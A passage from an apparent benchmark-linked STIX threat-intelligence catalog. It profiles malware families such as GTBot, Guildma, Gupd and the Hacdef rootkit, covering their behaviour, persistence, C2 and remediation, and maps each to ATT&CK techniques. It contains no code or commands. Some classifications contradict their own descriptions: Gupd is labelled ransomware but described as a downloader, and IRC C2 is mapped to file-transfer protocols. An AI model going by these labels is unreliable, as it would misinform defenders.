      "description": "GT32SupportGeeks (tracked in telemetry under signatures PUA:Win32/GT32SupportGeeks, Rogue:Win32/GT32SupportGeeks, and Program:Win32/GT32SupportGeeks) is a deceptive technical support scareware application and screen locker. Distributed via misleading pop-under advertisements, browser redirection loops, and bundled software installers, GT32SupportGeeks locks the user interface with an alarming full-screen error screen masquerading as a Windows fatal system crash (BSOD) or critical security lockdown. The interface displays toll-free telephone numbers coercing victims into calling fake technical support call centers, where fraudulent operators charge hundreds of dollars for fake remediation services and install secondary remote access tools. GT32SupportGeeks writes startup keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, disables access to Task Manager, and suppresses keyboard shortcuts (such as Alt+Tab and Windows key) to prevent the user from exiting the scareware interface. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/GT32SupportGeeks",
        "Rogue:Win32/GT32SupportGeeks",
        "Program:Win32/GT32SupportGeeks",
        "Win32/GT32SupportGeeks",
        "Scareware.GT32SupportGeeks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gt32Supportgeeks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gt32supportgeeks"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ff1976b-8f97-5062-bb11-4ca2ca0aac7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gt32Supportgeeks exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56eb1cb4-40a1-5f48-9d4f-b3aa57dc48bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gt32Supportgeeks exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b313740d-2653-585f-b26a-13ce3e143382",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gt32Supportgeeks exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a701587f-05a5-5865-8f5d-1cf2941dff99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gt32Supportgeeks exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cec191b9-3da9-5db7-a3e6-27dd5afd0942",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19902160-fefc-56df-8b69-e80e342d9d0a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gt32Supportgeeks exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b93c8325-6fbd-5bde-a666-3df25b8d4f84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gtbot",
      "description": "<h3>Executive Summary</h3>\nGTBot (often known as Global Threat Bot) is a legacy but highly versatile Trojan and IRC (Internet Relay Chat) Botnet client. Originally prevalent in the early-to-mid 2000s, GTBot was designed to infect Windows systems, connect them to attacker-controlled IRC channels, and wait for centralized commands. The botnet was notorious for its massive scale, primarily utilized to launch devastating Distributed Denial of Service (DDoS) attacks, harvest credentials, and distribute spam.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGTBot typically spread through malicious email attachments, P2P file-sharing networks (masquerading as legitimate software), or by exploiting unpatched vulnerabilities in Windows services (like DCOM RPC or LSASS) to self-propagate across networks.\n\nUpon execution, GTBot exhibits the classic architecture of an IRC botnet:\n<ul>\n<li><strong>IRC Command and Control:</strong> The bot quietly connects to a hardcoded IRC server and joins a specific, often password-protected, channel. The \"botmaster\" controls the entire infected swarm by typing commands directly into the IRC chat interface.</li>\n<li><strong>DDoS Capabilities:</strong> The primary function of GTBot was its robust DDoS engine. Upon command, the botmaster could direct thousands of infected hosts to simultaneously launch TCP SYN floods, UDP floods, or HTTP GET floods against a target, overwhelming its infrastructure.</li>\n<li><strong>Modular Architecture (mIRC Scripting):</strong> GTBot is actually built upon a modified, hidden version of the legitimate mIRC chat client. Its malicious functionality is driven by highly customized `mIRC.ini` scripts, allowing the botmaster to easily add new capabilities, such as port scanning, keylogging, or downloading secondary malware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile pure IRC botnets like GTBot have largely been superseded by HTTP/HTTPS and P2P botnet architectures in modern threat landscapes, a detection indicates a severe compromise. The infected endpoint is actively participating in coordinated attacks against third parties and is completely under the remote control of a cybercriminal.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the network immediately to sever the IRC C2 connection, halting its participation in DDoS attacks and preventing the botmaster from executing further commands.</li>\n<li><strong>Firewall Egress Analysis:</strong> Review corporate firewall logs for anomalous outbound connections to known IRC ports (typically TCP 6667, though attackers often use non-standard ports to evade detection). Block these outbound connections to prevent future botnet communications.</li>\n<li><strong>Complete System Rebuild:</strong> Because the botmaster had interactive, command-line control over the endpoint via the IRC backdoor, attempting to clean the system is unreliable. The machine must be wiped to bare metal and re-imaged from a known-good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.IRC.GTBot",
        "Trojan.GTBot",
        "Win32/GTBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gtbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gtbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aaf452c-b913-5816-84ee-2fb28bc4d29a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c8325-6fbd-5bde-a666-3df25b8d4f84",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gtbot exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocols (Use of IRC for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5705047-fd7d-5d0e-8c91-bbd1d3b4c8f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c8325-6fbd-5bde-a666-3df25b8d4f84",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gtbot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83cf1ddf-a27f-5fb9-9ec1-b8a587e56927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c8325-6fbd-5bde-a666-3df25b8d4f84",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gtbot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Guagua",
      "description": "Guagua (classified in antimalware telemetry under signatures including Trojan:Win32/Guagua, Trojan:Win32/Guagua.A, and Backdoor:Win32/Guagua) is a modular Windows remote access trojan and backdoor. Infiltrating victim environments through malicious drive-by downloads, phishing lures, and software cracking utilities, Guagua implements defensive evasion mechanisms including API hooking detection and virtual sandbox bypasses. It establishes autostart persistence by creating registry entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background service components. Guagua connects to remote command-and-control servers via TCP sockets or HTTP sessions, allowing remote operators to perform keystroke logging, capture screen snapshots, execute command-line instructions, harvest stored credentials, and download secondary malware modules. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Guagua",
        "Trojan:Win32/Guagua.A",
        "Backdoor:Win32/Guagua",
        "Win32/Guagua",
        "Backdoor.Guagua"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Guagua",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/guagua"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6feffad7-1fea-5a5f-9d4e-0811655692f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guagua exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--602b501c-9aee-5799-8b70-a448d5f7c109",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guagua exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58e31e6e-98e4-56a9-bd1b-e02486420919",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guagua exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b41ff724-1bbf-5e9a-bf13-79203eeaad24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guagua exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29fa0ec5-3a99-576a-8189-3f0566f1b6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--956ba30d-2add-5522-88ef-de1108ffe0e1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guagua exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Guildma",
      "description": "Guildma (also tracked by cybersecurity researchers as Astaroth, Trojan:Win32/Guildma, and Trojan-Banker.Win32.Guildma) is a highly sophisticated, multi-stage modular banking trojan active since at least 2015. Coined by Kaspersky's Global Research and Analysis Team (GReAT) as one of the four infamous 'Tetrade' Latin American banking malware families (alongside Javali, Melcoz, and Grandoreiro), Guildma originated in Brazil and subsequently expanded operations globally across Latin America, North America, and Europe. Guildma is delivered through high-volume, localized spearphishing campaigns masquerading as tax notices, utility bills, and legal subpoenas carrying weaponized ZIP, LNK, or VBScript attachments. The infection chain relies heavily on Living-off-the-Land Binaries (LOLBins)\u2014abusing BITSAdmin, certutil, and Windows Script Host\u2014and hides payload modules using NTFS Alternate Data Streams and DLL search-order hijacking. To orchestrate stealthy command-and-control communication, Guildma embeds encrypted C2 configurations directly into descriptions on legitimate platforms such as YouTube videos and Facebook profiles. Once active, the trojan monitors browser processes, deploying automated web-injects and hidden VNC (hVNC) sessions to hijack active banking and cryptocurrency sessions, intercepting multi-factor authentication (MFA) tokens in real time. (Observed samples in benchmark: 109)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Guildma",
        "Astaroth",
        "Guildma",
        "Trojan-Banker.Win32.Guildma",
        "Win32/Guildma",
        "Tetrade.Guildma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Guildma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/guildma"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cbaaac6-ce6f-51fa-84a2-e6c48cc89dc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21f9d4e6-7f6f-53be-9ae7-65c46ac0a40f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1757c72-835d-5fb4-8187-656ef95c0dfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ac8cedf-b245-51c6-bb59-b4223ce60811",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--210b143d-97f6-521d-9afe-191fc7902dc7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1197 (BITS Jobs)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dfdd3ec-4aeb-5139-af2f-28673b1d2b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5d64c0b-8f05-5244-ab44-b678393d55b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71d6c7b6-dabe-5afe-a052-c9495f7bfc6c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Guildma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bab29b33-b1f1-53e8-8c86-370179cb6643",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gupd",
      "description": "<h3>Executive Summary</h3>\nGupd is a malicious Trojan (often functioning as a downloader or backdoor) that leverages social engineering by masquerading as a legitimate software update\u2014frequently mimicking the \"Google Update\" (gupdate.exe) service or generic Windows updates. Its primary objective is to trick the user or the operating system into executing its payload, thereby establishing persistent, remote access for an attacker.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGupd is heavily reliant on deceptive distribution. It is often served via compromised \"watering hole\" websites (where users are prompted to \"Update Chrome to view this content\"), malvertising, or bundled within pirated software.\n\nOnce executed, Gupd focuses on blending in with normal system operations:\n<ul>\n<li><strong>Process Masquerading:</strong> The malware renames its executable to `gupd.exe`, `gupdate.exe`, or `wuauclt.exe`. It often drops itself into legitimate-looking directories (like `C:\\ProgramData\\Google\\` or `%AppData%\\Microsoft\\`) to evade casual inspection by the user or basic antivirus heuristics.</li>\n<li><strong>Persistence via Scheduled Tasks:</strong> To ensure it runs automatically, Gupd frequently creates Windows Scheduled Tasks named \"GoogleUpdateTaskMachineUA\" or similar, ensuring the malicious code executes with system privileges every time the computer boots or a user logs in.</li>\n<li><strong>C2 Communication and Payload Delivery:</strong> Under the guise of checking for updates, Gupd establishes an outbound connection to an attacker-controlled server. This channel is then used to silently download and execute secondary payloads, such as banking trojans, cryptominers, or info-stealers.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gupd infection is a severe security incident. By successfully masquerading as a trusted service, it bypasses user suspicion and often circumvents host-based firewalls that allow \"updater\" processes to communicate externally. Its presence indicates that secondary, highly destructive malware is likely already present on the system.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Isolation and Process Termination:</strong> Immediately isolate the host. Utilize Task Manager or EDR tools to identify the rogue updater process. Pay close attention to the file path; a legitimate Google update will not run from the user's `Temp` directory. Terminate the process.</li>\n<li><strong>Eradicate Persistence Mechanisms:</strong> Thoroughly audit Windows Scheduled Tasks and the Registry `Run` keys. Delete any tasks or keys pointing to the malicious executable.</li>\n<li><strong>Comprehensive System Sweep:</strong> Because Gupd acts as a downloader, eradicating the initial loader is insufficient. Run a full, deep scan with an enterprise EDR solution to hunt for and remove the secondary payloads (e.g., keyloggers or ransomware staging files) it likely deployed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gupd",
        "FakeUpdate.Gupd",
        "Win32/Gupd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gupd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gupd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0153605-9a7e-50e3-886f-2bddb0f4dfe2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bab29b33-b1f1-53e8-8c86-370179cb6643",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gupd exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e11b8a0-9fdd-5c02-8d29-bb41e6be56d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bab29b33-b1f1-53e8-8c86-370179cb6643",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gupd exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7475033e-1ded-5a3a-890b-0cfc5ef899f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bab29b33-b1f1-53e8-8c86-370179cb6643",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gupd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f60b19b7-71b4-5a44-a018-4ed78e1c6439",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Habbo",
      "description": "Trojan:Win32/Habbo (or HackTool:Win32/Habbo) is a highly specialized threat designed specifically to target users of 'Habbo Hotel', a massive online virtual community and social networking service. Its primary objective is credential theft (`T1056`) and the theft of virtual currency ('Habbo Coins') or rare virtual items, which hold real-world monetary value within illicit gray markets.<br><br><b>Understanding Habbo Trojans (Targeted Gaming Malware)</b><br>To an end-user (often teenagers or younger demographics), the infection usually stems from attempting to cheat the game or acquire free currency. For a security analyst, this malware highlights the risk of social engineering targeting younger demographics and the real-world financial implications of virtual economies. While primarily focused on a game, the compromised endpoint can easily be repurposed for a botnet.<br><br><b>Execution and Credential Theft Mechanics</b><br>Habbo trojans rely entirely on deceptive social engineering for distribution (`T1566`). They are heavily promoted on YouTube, gaming forums, and Discord servers as 'Coin Generators', 'Furni (Furniture) Duplicators', or 'Account Hackers'. When the victim executes the fake tool, it usually presents a deceptive GUI asking for their Habbo username and password to 'inject' the coins. Instead, it immediately transmits these credentials to the attacker (`T1041`). More advanced variants act as persistent keyloggers (`T1056.001`) or steal browser session cookies (`T1539`) to bypass two-factor authentication and hijack the account seamlessly.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the theft of the user's online identity and virtual assets, which can lead to significant distress and financial loss (if real money was spent). Host-based IoCs include the presence of executables with names like `HabboCoinGen.exe`, `CreditsHack.exe`, or `FurniDupe.exe`. EDR alerts may flag these tools for attempting to install global keyboard hooks (keylogging) or accessing browser profile directories to steal cookies. Network IoCs include the tool making outbound HTTP/SMTP connections to unknown servers immediately after the user enters their credentials. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Habbo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/habbo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb69eb07-fdfc-5437-8fd7-6b80859c545c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f60b19b7-71b4-5a44-a018-4ed78e1c6439",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Habbo exhibits technique T1056.001 (Input Capture: Keylogging (Capturing credentials entered into the fake tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e55f1f0-c0aa-5efe-a5cd-bf4aed9ff71a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f60b19b7-71b4-5a44-a018-4ed78e1c6439",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Habbo exhibits technique T1539 (Steal Web Session Cookie (Bypassing authentication by stealing Habbo session tokens))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--722dc427-09eb-5a98-a0b2-859033e967d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f60b19b7-71b4-5a44-a018-4ed78e1c6439",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Habbo exhibits technique T1566 (Phishing (Social engineering via 'Coin Generator' lures))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1d16d6b-efe3-5069-a34c-7dc38abd4802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hacdef",
      "description": "Rootkit:Win32/Hacdef (Hacker Defender) is a legendary, historically significant user-mode rootkit. Wide-spread in the mid-2000s, Hacdef was one of the first sophisticated, widely available tools designed specifically to hide the presence of an attacker, their files, and their backdoor connections from the system administrator and early antivirus software (`T1014`).<br><br><b>Understanding Hacdef (User-Mode Rootkits)</b><br>To an end-user or system administrator relying on standard Windows tools (like Task Manager or `netstat`), the system appears entirely normal. Hacdef intercepts the API calls made by these tools and actively filters the results. For example, if an attacker drops a file named `evil.exe`, Hacdef ensures that when Explorer asks for a list of files, `evil.exe` is removed from the list before it reaches the screen.<br><br><b>Execution and Hooking Mechanics</b><br>Hacdef is deployed *after* an attacker has achieved administrative access. It is a user-mode rootkit, meaning it does not typically load a kernel driver (`.sys`). Instead, it uses API Hooking (`T1056.004`), specifically injecting itself into all running processes and intercepting calls to fundamental Windows APIs (like `FindNextFile`, `EnumProcesses`, `RegEnumKey`). It uses an `.ini` configuration file that tells it exactly which file names, process names, registry keys, and network ports to hide from the OS.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system integrity and a deeply hidden attacker presence. Because Hacdef hooks user-mode APIs, host-based IoCs are difficult to find with standard tools. Advanced EDR tools detect Hacdef by identifying the inline hooks placed on the API functions in memory. Another classic detection method is cross-view validation (comparing the output of a clean, low-level disk read against the output of the hooked Windows API). Network IoCs involve looking for the hidden backdoors Hacdef is protecting. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hacdef",
